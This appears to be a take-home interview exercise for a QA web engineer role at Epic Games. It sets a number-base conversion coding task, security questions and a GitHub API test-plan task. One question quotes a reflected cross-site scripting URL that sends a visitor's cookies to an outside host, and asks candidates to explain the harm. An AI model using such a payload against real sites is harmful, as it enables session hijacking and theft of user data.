**Epic Games, QA Web Engineer Exercise**

Thank you for taking the time to complete the exercise below.  Please return your response within one week, or a duration agreed upon, to the link provided by your recruiter.

Instructions/Notes:

* State your assumptions when you solve each problem.
* All code is run through a test suite to test its production quality; these tests affect whether or not our interview process continues, so please take them seriously.
* Please try to give an approximate time that it took you to solve each portion of the exercise.
* Be aware that there may be multiple ways to solve some of the questions.
* We’d like to request that when responding, you either zip your files into a Zip File, or upload your response to Google Drive or Dropbox with a link.  This will keep responses private and easy to access for us. Thank you!
* Use the latest version of Node unless otherwise specified
* Install with yarn (<https://yarnpkg.com/en/>) by running ‘yarn’ in the root directory.  Then start the dev server by running ‘yarn start’.  Start the service by running ‘yarn start-service’ in a separate console.
* The app should start up without issues and run on<http://localhost:3000/>
* Feel free to extend and enhance the test application as you would for a production-ready app.
* Writing tests for your code is recommended.
* **The source code for the web test can be downloaded at the following URL.  Please let us know if you have any trouble downloading or opening this file:** [**https://cdn1.unrealengine.com/Public/epic-web-test.zip**](https://cdn1.unrealengine.com/Public/epic-web-test.zip)

Questions:

1. In the given starter page (/epic-web-test/src/question1/Question1.js), implement the function that displays the string form of a value in a particular number base.

function integerToString(value, numberBase)

* **Do** **not** use built-in language features to accomplish the task.
* **Do not** trivialize the task by using pre-existing JS functions to solve the crux of the question, for example:

Number.toString(numberBase)

1. What harm could result from the following?

[*http://www.example.com/search?q=<script>object.src=”http://otherexample.com/code?data=”+document.cookie</script*](http://www.example.com/search?q=%3Cscript%3Eobject.src=%5C)*>*

1. Explain what security measures need to be taken into consideration for web applications.
2. Write a test specification for a black box functional test plan for the Github API - List public repositories for the specified user.  Describe what language or tools you might use to automate this API, and why you chose them.

API Location:

<http://developer.github.com/v3/repos/#list-user-repositories>